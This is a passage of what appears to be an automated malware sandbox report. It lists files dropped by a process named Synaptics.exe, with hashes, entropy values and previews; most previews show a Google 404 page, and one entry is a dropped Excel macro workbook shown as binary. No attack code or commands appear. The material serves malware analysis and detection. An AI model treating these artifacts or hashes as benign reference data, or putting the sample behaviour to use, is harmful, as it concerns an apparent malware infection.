Preview:	<html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="IEnApIY1bybfRC2AOx5qiw">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) n

C:\Users\user\AppData\Local\Temp\isNhmnp.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1638), with no line terminators
Category:	dropped
Size (bytes):	1642
Entropy (8bit):	5.263058051227852
Encrypted:	false
SSDEEP:	24:bsF+0qRSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:bK+ZR+pAZewRDK4mW
MD5:	A9684B45E2BF5BA902BAB8280D77A013
SHA1:	13BDA811C0FD3FCBB3AB04AFCF6A145F5E6D46D2
SHA-256:	985C47D4A92FF6CC76B8A45D20819F7AAF50F1E1A164A0535BE2C79A20302AA5
SHA-512:	C0C97CE2B8921E57A705F6CEE3C282FF8A3CD0936DD3F9C225EAD8A45DEE98AA5A5F0D079CFDC4E7C1A54049FC3CB2D7F8C1336AC03FEE2262491882F70DBD17
Malicious:	false
Preview:	<html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="_oKw8XgMUNzGWEGhkasjRg">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) n

C:\Users\user\AppData\Local\Temp\k4tkLQO.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1638), with no line terminators
Category:	dropped
Size (bytes):	1642
Entropy (8bit):	5.26404868476451
Encrypted:	false
SSDEEP:	24:bsF+0aSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:bK+t+pAZewRDK4mW
MD5:	DC516A7BE0C0039A9914558BDF61D100
SHA1:	B3B209044854AC7FECD890F02BD91D6440C10352
SHA-256:	0D08906685114DA18BF8BA5672F3FFA798B426C707267868F3036D8370CC4079
SHA-512:	58E3A06F94EBBE937B71367A71C5B84F7E8235F24A849779275D0E4B403F680B9E52E20A2BE6749490F6FA58BF0A622812FAD2635CCA7175D2338FF8CCE69165
Malicious:	false
Preview:	<html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="4HYS_kK1o6h80xssOdAMVw">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) n

C:\Users\user\AppData\Local\Temp\khgsSqW.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1638), with no line terminators
Category:	dropped
Size (bytes):	1642
Entropy (8bit):	5.269293909290301
Encrypted:	false
SSDEEP:	24:bsF+0b3SU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:bK+s3+pAZewRDK4mW
MD5:	57D946872CC4F6D78F4312521B27C9F4
SHA1:	3972B2DF91B24F2A34907FE2D9D3E5B5379B7C3A
SHA-256:	978E5A15A59A14356068845DB6F24129832DB84E5288130790DD99BD97215910
SHA-512:	9FD6A5734361C296EEC4BA1C3EAA4CD2E76F18C162DB8F3D5F31CC5FF7427A1871206BE18E5668BAFF76C0D3112E7556C55700D8AEFCACDF3F002B391ED78B43
Malicious:	false
Preview:	<html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="xS2V08ENJCQ6Ab_dic6OtQ">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) n

C:\Users\user\AppData\Local\Temp\lu4cfZr.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1638), with no line terminators
Category:	dropped
Size (bytes):	1642
Entropy (8bit):	5.251891522250352
Encrypted:	false
SSDEEP:	24:bsF+0xfSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:bK+6+pAZewRDK4mW
MD5:	1EA3C134BB152AD627AFEC8AD9371D9A
SHA1:	DA6C40790BD959532A8283EA1FC7E598493D7A46
SHA-256:	3A1AEF6C3889459598E5627C7016B6F1E71D4CDE9CAB394390577A53766827C9
SHA-512:	D8467B765A0E4710F6DB8CBA544F367775ACD05721BB11DBE50A7C645EA510E21C42390C4F024153266F9506D8154EC668BC9D3D91A45CC90BD1170BEC3D6A94
Malicious:	false
Preview:	<html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="oneHo7CRcwnUW9ca_S5S1Q">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) n

C:\Users\user\AppData\Local\Temp\m7sKga8.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1638), with no line terminators
Category:	dropped
Size (bytes):	1642
Entropy (8bit):	5.254769517339727
Encrypted:	false
SSDEEP:	24:bsF+0PWSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:bK+d+pAZewRDK4mW
MD5:	FA5544CB4D219A45060DD1201616F0B5
SHA1:	F2A9238C2E17A02F99AEFDA0053A605B521A8ED6
SHA-256:	B554A0CA359897A990C127B43A710E4B2B2EA181001940C4CEF11483D1496FCB
SHA-512:	495C35B7EA53720F41879844C93A729531552147B641AFD5E9E59BB25D7601151BDBDBADD43EE1307FA5FF679461013D36C0AE95A1BE3FA8BF0967975774A6D8
Malicious:	false
Preview:	<html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="5pxOa1w4BnpudUM5uLBTXQ">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) n

C:\Users\user\AppData\Local\Temp\mdAw454.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1638), with no line terminators
Category:	dropped
Size (bytes):	1642
Entropy (8bit):	5.26534715510452
Encrypted:	false
SSDEEP:	24:bsF+0zXSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:bK+QX+pAZewRDK4mW
MD5:	9CAFA0EF52EADC21DCA215162EB2A77D
SHA1:	148F10B43F2E6AA439A5E58EDFB83B4781E49989
SHA-256:	8C6DAE4522CC7578C8C215E34E3B4E80B207FCBEA33CAD4B08D59FA2D2A24753
SHA-512:	29E5FC467429077E198CFD44AD4165AE246E8213B719E957DD79F29FD20F9F4481E248704C4ABDE91D4CD9AFFCD17D1F6FFB398177A34D197A3BECEB3136D3E7
Malicious:	false
Preview:	<html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="s-zbXHV_1gpCI7jXYs2SXw">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) n

C:\Users\user\AppData\Local\Temp\nBKlOLZ.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1638), with no line terminators
Category:	dropped
Size (bytes):	1642
Entropy (8bit):	5.2617956055492
Encrypted:	false
SSDEEP:	24:bsF+0XQSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:bK+wQ+pAZewRDK4mW
MD5:	287D9F6967E82914C21C2770B6622190
SHA1:	A81178F531C825B2119822BEDEDE111DF0551308
SHA-256:	9E5EBB4C24CE3FC3F3BC9A194ED9C341213E3130DFB311D079535A15D329E759
SHA-512:	89017333EE93051DF0D7366E877F0BC72EE1E783C46149F852493BD478EBA6C91D47FC42A7D99DA0E201A42E9279D7339D5743911ECFAF0238DB125AA50E920C
Malicious:	false
Preview:	<html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="djuj4bqshzwNixyWM8SIDg">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) n

C:\Users\user\AppData\Local\Temp\o3gvoNy.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1638), with no line terminators
Category:	dropped
Size (bytes):	1642
Entropy (8bit):	5.267108252031985
Encrypted:	false
SSDEEP:	24:bsF+0glSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:bK+9l+pAZewRDK4mW
MD5:	CE28BC9D3F93A01940031A9242AB7907
SHA1:	E4F6D074FAC27805F4E5BCE9D6E8AAC9EFF83BB4
SHA-256:	5FEB3E1347A0B504C6312CE0A21842987474D7AAEF34B0F45257D1B8829A0379
SHA-512:	9E9FA59D461C067F1787EE477363B1004CD981556AAFE0B11381D1D546E92599BBBF3E8B9A940DCD4808F0512E28905F16812A8303320269D6D90DE11891864D
Malicious:	false
Preview:	<html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="m-FXgkCf6A2y3KXj2HzopQ">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) n

C:\Users\user\AppData\Local\Temp\pGvdd4h.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1638), with no line terminators
Category:	dropped
Size (bytes):	1642
Entropy (8bit):	5.26858459268981
Encrypted:	false
SSDEEP:	24:bsF+0ktSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:bK+Ft+pAZewRDK4mW
MD5:	95CC52A6B12C875CC57ABD471CCEA2BE
SHA1:	D81ADB4D91D37F69A0D461CAFAF36E8B6EE38DF7
SHA-256:	EDB4C24596366F4C393038CF9963D45E3589EF5799837BB77B077A6E0F148CDC
SHA-512:	42DBBD9B3C091EB500779B19B6AD1675D270E9983C0398502F44738A1041D05C2967DA10671F419E6730166BFF8C52A2A45F65DAA8BF2D7CBD37BCFC19D02BFB
Malicious:	false
Preview:	<html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="R_5HhEEC49k4hRQOhmPBVg">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) n

C:\Users\user\AppData\Local\Temp\rdt2hbk.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1638), with no line terminators
Category:	dropped
Size (bytes):	1642
Entropy (8bit):	5.240269481154033
Encrypted:	false
SSDEEP:	24:bsF+08iwSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:bK+V+pAZewRDK4mW
MD5:	A90EBC9837F749C32E21BFB56B66E08E
SHA1:	F32A1E0DDF38D34836720846ED7C995D405716B4
SHA-256:	B4BFAB81F968B5C49067316528EBFF4679B8FD355C0CA0543C3BD1867D860113
SHA-512:	4035389A4F92BF9A33901973AD1F609DC34D6B523D36EFC9CF4CF11323CA7A010AFCE09E47BE1CCD82088912462D1C25C3B87A3C732D4B453066057EB455DAE1
Malicious:	false
Preview:	<html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="oke0U_bo2601XU4vlu-dzg">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) n

C:\Users\user\AppData\Local\Temp\rloSzOb.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1638), with no line terminators
Category:	dropped
Size (bytes):	1642
Entropy (8bit):	5.274301588399432
Encrypted:	false
SSDEEP:	24:bsF+0bVSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:bK+QV+pAZewRDK4mW
MD5:	6ED82C98DCB9C5254FE1A0A352A40BCC
SHA1:	B96E6478D71ACE4E529A0DEAA358239479222B33
SHA-256:	9DD7EFF3A23966B773193431E15E887D92BE9F81F214DCDE95349E57E8CEF7B2
SHA-512:	162B03DD60D24EF3CD72A54C57C016B5FF3064061CEE57F977F2D03F9F6528865CF3387EDEAFC1EFFA7FFCD2B74DA0C810AE2927BF554C11853FD8084AF0BF6E
Malicious:	false
Preview:	<html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="QYu4HVCKN5jJpI8a_9VMrg">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) n

C:\Users\user\AppData\Local\Temp\vQ1n5uq.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1638), with no line terminators
Category:	dropped
Size (bytes):	1642
Entropy (8bit):	5.257636741707958
Encrypted:	false
SSDEEP:	24:bsF+0HzSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:bK+8+pAZewRDK4mW
MD5:	4A385D55CEF32D30EED5C74C51518233
SHA1:	D59FA39FE7BDBDEDFA96E1A321C21308F898472E
SHA-256:	4706473E43DB64F27491EF3B1243AED2932D3A92D1F7636817AAB98667E4372A
SHA-512:	CA3D6A903FBE8D962AD2A4A4DC0D5D56C9846E3A0E5EFE569E41CE2D1D09376C94F06A76A42A72BE38AC128150A597EAF4D60D46447C7FC05036C4F335E82CAC
Malicious:	false
Preview:	<html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="U55H5TmZMntEbws0cMZEMQ">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) n

C:\Users\user\AppData\Local\Temp\xStHvID.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1638), with no line terminators
Category:	dropped
Size (bytes):	1642
Entropy (8bit):	5.253212844015657
Encrypted:	false
SSDEEP:	24:bsF+0/WSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:bK+wW+pAZewRDK4mW
MD5:	A11440A0409319FF3C06AA3E3AD6AA67
SHA1:	10366E9488447DA8CFDBE3A6E888B61F54C89CE3
SHA-256:	A9086D5CFAE5B654F29E018567971DCC1A3BA946F8CBA7C59AFE1641B7031755
SHA-512:	1DCAC19134CEF047569DA68081F37E487E73F5DD72D2F7E8A5180CB727DD472AE6DF1EDC95BED6583272163BA878085283D9EBEEE7EAF3A65448136F4A79DD33
Malicious:	false
Preview:	<html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="pR-nV0e5WOqCfeJ9Zle-yw">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) n

C:\Users\user\AppData\Local\Temp\yRBqHVD.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1638), with no line terminators
Category:	dropped
Size (bytes):	1642
Entropy (8bit):	5.267161472832387
Encrypted:	false
SSDEEP:	24:bsF+0YvSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:bK+xv+pAZewRDK4mW
MD5:	8EF1263F02E91666FED23341DDE41FCA
SHA1:	DC74DA5CB5C11FC0D7D7C30966073E05120654C8
SHA-256:	00795FEA8C82951440558F8A994DFF42B717459400FC2076CAF93AD97296C755
SHA-512:	E2D2226B61405D0D71BB821ABCB3B3A1C92A160B8AAC6C8C7B4DF2CEF1138C44C7345A24EFCBB8C8F3097F601779DB67A2DE197B0494E216ADF7158BD3AD9CF5
Malicious:	false
Preview:	<html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="GKi9tea_kV6OWA73M2hFDw">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) n

C:\Users\user\AppData\Local\Temp\zGQPvB2.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1638), with no line terminators
Category:	dropped
Size (bytes):	1642
Entropy (8bit):	5.268344479277234
Encrypted:	false
SSDEEP:	24:bsF+0MSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:bK+f+pAZewRDK4mW
MD5:	A80BC156E425FB0BD045F3423119EA9E
SHA1:	9CF464F6D8C8A7E81855AF53E51464F65888E739
SHA-256:	278AED086CBAEA1F4BAF7771F8180DFA7E76E1D236BCD16E1C11C4ABCCBDFCD0
SHA-512:	D17DC2D21DC9DCFB4732545A58B67BA1EE369D0248C83F9C13EC635CF4E58E3E3B18C50B8137629F374977D77848CE3B340177985F1764A8F5F7B6F4CC3A8163
Malicious:	false
Preview:	<html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="fDfh_UEUvPPB2EsNENNQPg">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) n

C:\Users\user\AppData\Local\Temp\znjZLpXp.xlsm

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	Microsoft Excel 2007+
Category:	dropped
Size (bytes):	18387
Entropy (8bit):	7.523057953697544
Encrypted:	false
SSDEEP:	384:oUaZLPzMfVSa1VvYXmrsdPkLmDAx7r/l0:oUatwNSSvY2IdsHr/y
MD5:	E566FC53051035E1E6FD0ED1823DE0F9
SHA1:	00BC96C48B98676ECD67E81A6F1D7754E4156044
SHA-256:	8E574B4AE6502230C0829E2319A6C146AEBD51B7008BF5BBFB731424D7952C15
SHA-512:	A12F56FF30EA35381C2B8F8AF2446CF1DAA21EE872E98CAD4B863DB060ACD4C33C5760918C277DADB7A490CB4CA2F925D59C70DC5171E16601A11BC4A6542B04
Malicious:	false
Preview:	PK..........!...5Qr...?.......[Content_Types].xml ...(......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................N.0.E.H.C.-..@.5.....(..8...-.[.g.......M^..s.5.4.I..P;..!....r....}._.G.`....Y....M.7....&.m1cU..I.T.....`.t...^.Bx..r..~0x....6...`....reb2m.s.$.%...-c.{...dT.m.kL]Yj.\|..Yp..".G.......r...).#b.=.QN'...i..w.s..$3..)).....2wn..ls.F..X.D^K.......Cj.sx..E..n._ ....pjUS.9.....j..L...>".....w.... ....l{.sd...G.....wC.F... D..1<..=...z.As.]...#l..........PK..........!..U0#....L......._rels/.rels ...(...............

C:\Users\user\AppData\Local\Temp\{80586c77-db42-44bb-bfc8-7aebbb220c00}\.ba1\1028\license.rtf

Download File

Process:	C:\Users\user\Desktop\._cache_LisectAVT_2403002A_282.exe
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
